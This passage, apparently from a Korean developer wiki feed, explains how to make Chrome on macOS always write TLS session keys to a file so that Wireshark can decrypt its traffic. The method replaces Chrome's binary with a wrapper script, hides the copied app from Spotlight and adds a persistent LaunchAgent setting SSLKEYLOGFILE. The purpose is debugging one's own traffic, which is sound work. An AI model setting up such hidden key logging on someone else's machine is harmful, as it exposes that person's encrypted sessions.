크롬을 재실행하면 끝이었다.&lt;/p&gt; &lt;p&gt;macOS에서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export SSLKEYLOGFILE=/path/to/sslkeylog.log&lt;/code&gt; 로 환경변수를 설정하고 크롬을 재실행해도 https, http2 패킷이 계속 암호화되어 보이는 것으로 보아 적용되지 않고 있다고 판단했다.&lt;/p&gt; &lt;p&gt;확인한 결과 크롬을 모두 종료하고 아래 명령어를 통해 크롬을 실행하면 wireshark 등에서 https, http2 로그를 확인할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;open &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /Applications/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome.app/Contents/MacOS/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome &lt;span class=&quot;nt&quot;&gt;--args&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--ssl-key-log-file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/path/to/sslkeylog.log &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;하지만 매번 이렇게 실행하는 것이 상당히 번거롭기 때문에 크롬을 실행할 때마다 항상 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ssl-key-log-file&lt;/code&gt; 해당 옵션이 적용되는 방법은 없는지 찾아보았다.&lt;/p&gt; &lt;hr /&gt; &lt;h1 id=&quot;방법1---실패&quot;&gt;방법1 - 실패&lt;/h1&gt; &lt;p&gt;&lt;a href=&quot;https://superuser.com/questions/271678/how-do-i-pass-command-line-arguments-to-dock-items&quot;&gt;참조한 stackoverflow 링크&lt;/a&gt;&lt;/p&gt; &lt;p&gt;해당 방법대로라면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Applications/Google\ Chrome.app&lt;/code&gt; 패키지에서 옵션을 추가하여 바이너리를 실행하는 쉘 스크립트를 추가로 만든 뒤 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Contents/Info.plist&lt;/code&gt; 파일을 열어서 실행하는 바이너리명을 해당 스크립트 이름으로 변경하면 된다고 했다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Info.plist&lt;/code&gt; 파일을 열어 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFBundleExecutable&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Executable File&lt;/code&gt; 항목을 찾아 수정하면 된다고 했다.&lt;/p&gt; &lt;p&gt;![[mdresources/dir_open_with_argument.md_img/img_2023-04-05-08-31-51.png]]&lt;/p&gt; &lt;p&gt;Google Chrome의 경우 Info.plist에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFBundleExecutable&lt;/code&gt; 항목이 있어서 해당 항목을 수정했다.&lt;/p&gt; &lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;gd&quot;&gt;- &amp;lt;string&amp;gt;Google Chrome&amp;lt;/string&amp;gt; &lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+ &amp;lt;string&amp;gt;parameterized-app.sh&amp;lt;/string&amp;gt; &lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;그리고 아래 명령어를 실행해 parameterized-app.sh 파일을 생성하고 실행권한을 부여했다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;touch &lt;/span&gt;MacOS/parameterized-app.sh &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;755 MacOS/parameterized-app.sh &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;parameterized-app.sh 파일을 열고 아래 내용을 추가했다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt; open &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /Applications/_argChrome.app/Contents/MacOS/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome &lt;span class=&quot;nt&quot;&gt;--args&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--ssl-key-log-file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/path/to/sslkeylog.log &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;하지만 유효성 검증을 진행하는지 아래와 같은 에러가 발생했다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_open_with_argument.md_img/img_2023-04-05-08-42-55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;확인 결과, Google Chrome 패키지에 어떠한 파일이나 디렉토리에 변조를 가하면 브라우저 내 기본 세션 (구글 로그인 등)이 무조건 끊기는 것으로 파악했다.&lt;/p&gt; &lt;hr /&gt; &lt;h1 id=&quot;방법2---성공&quot;&gt;방법2 - 성공&lt;/h1&gt; &lt;p&gt;macOS 에서 듀얼 카카오톡을 실행하는 방법과 유사한 방법으로 진행하면 어떨까 싶어서 알아보았다.&lt;/p&gt; &lt;details&gt; &lt;summary&gt;듀얼 카카오톡 생성 방법&lt;/summary&gt; &lt;div&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; /Applications/KakaoTalkDev.app &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; /Applications/KakaoTalkDev.app &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; /Applications/DuelKakaoTalk.app &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; /Applications/DuelKakaoTalk.app &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /Applications/KakaoTalk.app /Applications/KakaoTalkDev.app &lt;span class=&quot;nb&quot;&gt;mv&lt;/span&gt; /Applications/KakaoTalkDev.app/contents/MacOS/KakaoTalk /Applications/KakaoTalkDev.app/Contents/MacOS/KakaoTalkDev &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /Applications/KakaoTalkDev.app/Contents/ /usr/bin/sed &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; .bak &lt;span class=&quot;s2&quot;&gt;&quot;s/KakaoTalk&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;string&amp;gt;/KakaoTalkDev&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;string&amp;gt;/g&quot;&lt;/span&gt; Info.plist /usr/bin/sed &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; .bak &lt;span class=&quot;s2&quot;&gt;&quot;s/com.kakao.KakaoTalkMac&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;string&amp;gt;/com.kakao.KakaoTalkDevMac&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;string&amp;gt;/g&quot;&lt;/span&gt; Info.plist codesign &lt;span class=&quot;nt&quot;&gt;--force&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--deep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--sign&lt;/span&gt; - /Applications/KakaoTalkDev.app &lt;span class=&quot;nb&quot;&gt;mv&lt;/span&gt; /Applications/KakaoTalkDev.app /Applications/DuelKakaoTalk.app &lt;span class=&quot;c&quot;&gt;# open /Applications/DuelKakaoTalk.app&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;이후 Spotlight 또는 Alfred에 duel만 쳐도 duelkakaotalk이 뜬다.&lt;/p&gt; &lt;/div&gt; &lt;/details&gt; &lt;p&gt;즉, 구상한 방법은 다음과 같다.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome.app&lt;/code&gt; 패키지를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_argChrome.app&lt;/code&gt; 패키지로 복사한다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /Applications/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome.app /Applications/_argChrome.app &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome.app&lt;/code&gt; 패키지의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome&lt;/code&gt; 바이너리를 지운다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; /Applications/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome.app/Contents/MacOS/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome.app&lt;/code&gt; 패키지 내 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Info.plist&lt;/code&gt;를 수정하여 패키지명을 변경하고, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome&lt;/code&gt; 스크립트를 생성하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_argChrome.app&lt;/code&gt; 패키지를 실행시키게 한다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;touch&lt;/span&gt; /Applications/_argChrome.app/Contents/MacOS/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;755 /Applications/_argChrome.app/Contents/MacOS/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome&lt;/code&gt; 스크립트를 열어 아래 내용을 추가한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt; open &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /Applications/_argChrome.app/Contents/MacOS/Google&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Chrome &lt;span class=&quot;nt&quot;&gt;--args&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--ssl-key-log-file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/path/to/sslkeylog.log &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Info.plist&lt;/code&gt; 파일을 열고 수정한다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.google.Chrome&lt;/code&gt; 내용을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.google.ChromeArg&lt;/code&gt;로 변경한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFBundleDisplayName&lt;/code&gt; 항목의 내용을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google Chrome&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Google ChromeArg&lt;/code&gt;로 변경한다.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;검색-대상에서-_argchromeapp-앱-제외&quot;&gt;검색 대상에서 _argChrome.app 앱 제외&lt;/h2&gt; &lt;p&gt;이후 시스템 설정 &amp;gt; Siri 및 Spotlight &amp;gt; Spotlight 개인정보 보호 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_argChrome.app&lt;/code&gt;을 추가해 검색 대상에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_argChrome.app&lt;/code&gt; 항목을 제외시킨다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_open_with_argument.md_img/img_2023-04-05-10-39-47.png&quot; alt=&quot;&quot; /&gt; &lt;sup&gt;finder에서 _argChrome.app 항목을 드래그 해 가져온다.&lt;/sup&gt;&lt;/p&gt; &lt;p&gt;alfred 사용자는 이후 알프레드 검색 창을 띄워 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reload Alfred Cache&lt;/code&gt; 를 실행시켜 제외 대상을 반영시킨다.&lt;/p&gt; &lt;p&gt;이후 alfred, spotlight로 크롬을 실행시키면 wireshark에서 크롬의 복호화된 트래픽을 확인할 수 있다.&lt;/p&gt; &lt;h1 id=&quot;번외-sslkeylogfile-환경변수-설정&quot;&gt;번외 (SSLKEYLOGFILE 환경변수 설정)&lt;/h1&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ~/Library/LaunchAgents &lt;span class=&quot;nb&quot;&gt;touch &lt;/span&gt;tlskeylogger.plist &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tlskeylogger.plist&lt;/code&gt; 파일을 열고 아래 내용을 추가한다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;launchctl setenv SSLKEYLOGFILE /path/to/sslkeylog.log&lt;/code&gt; 의 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/path/to/sslkeylog.log&lt;/code&gt; 부분은 실제 파일 경로로 수정한다.&lt;/p&gt; &lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;plist&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;dict&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;Label&lt;span class=&quot;nt&quot;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;sslkeylogger&lt;span class=&quot;nt&quot;&gt;&amp;lt;/string&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;ProgramArguments&lt;span class=&quot;nt&quot;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;array&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;sh&lt;span class=&quot;nt&quot;&gt;&amp;lt;/string&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;-c&lt;span class=&quot;nt&quot;&gt;&amp;lt;/string&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt; launchctl setenv SSLKEYLOGFILE /path/to/sslkeylog.log &lt;span class=&quot;nt&quot;&gt;&amp;lt;/string&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/array&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;RunAtLoad&lt;span class=&quot;nt&quot;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;true/&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/plist&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;launchctl load ~/Library/LaunchAgents/tlskeylogger.plist launchctl start ~/Library/LaunchAgents/tlskeylogger.plist &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;크롬 브라우저를 재시작한다.&lt;/p&gt; </description><pubDate>Wed, 09 Apr 2025 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/macos/open_with_argument</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/macos/open_with_argument</guid> <category>macos</category> <category>open</category> <category>argument</category> <category>Chrome</category> <category>macos</category> </item> <item><title>macOS 터미널 명령어를 통한 설정 정리</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#macos-ssh-재시작&quot;&gt;macOS ssh 재시작&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#macos의-디폴트-프로그램-변경하기&quot;&gt;MacOS의 디폴트 프로그램 변경하기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#사전찾기-ctrlcmdd-단축키-비활성화&quot;&gt;사전찾기 (ctrl+cmd+d) 단축키 비활성화&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#충전-없이-클램쉘-활성화&quot;&gt;충전 없이 클램쉘 활성화&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#키-반복하기&quot;&gt;키 반복하기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#finder-숨긴-디렉토리를-항상-보이게-하기&quot;&gt;Finder 숨긴 디렉토리를 항상 보이게 하기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#dock-애니메이션-대기시간-제거&quot;&gt;dock 애니메이션 대기시간 제거&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#dock-대기시간-복원&quot;&gt;dock 대기시간 복원&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#dock을-완전히-없애기&quot;&gt;dock을 완전히 없애기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#ds_store-파일-제거-및-더-이상-생성되지-않도록-하기&quot;&gt;.DS_Store 파일 제거 및 더 이상 생성되지 않도록 하기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#plist-vi로-보기&quot;&gt;plist vi로 보기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#프로그램-실행-시-argument-추가하여-실행시키기&quot;&gt;프로그램 실행 시 argument 추가하여 실행시키기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#ssh-ppk-개인키-파일을-pem-파일로-교체-ppk-개인키-변환&quot;&gt;ssh ppk 개인키 파일을 .pem 파일로 교체 (ppk 개인키 변환)&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#macos-안되는-명령어&quot;&gt;macOS 안되는 명령어&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#which&quot;&gt;which&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#readlink---greadlink&quot;&gt;readlink -&amp;gt; greadlink&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#fallocate---mkfile&quot;&gt;fallocate -&amp;gt; mkfile&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h3 id=&quot;macos-ssh-재시작&quot;&gt;macOS ssh 재시작&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/services&lt;/code&gt;에서 ssh 포트를 변경할 수도 있다. &lt;br /&gt; 재시작 명령어는 아래 두 줄을 통해 가능하다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;외부 ssh 접속을 허용하려면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;시스템 설정 &amp;gt; 일반 &amp;gt; 공유&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;원격 로그인&lt;/code&gt; 항목을 체크해야 한다.&lt;/p&gt; &lt;h3 id=&quot;macos의-디폴트-프로그램-변경하기&quot;&gt;MacOS의 디폴트 프로그램 변경하기&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;1번 방법&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Finder에서 우클릭 &amp;gt; 정보 가져오기 &amp;gt; 다음으로 열기 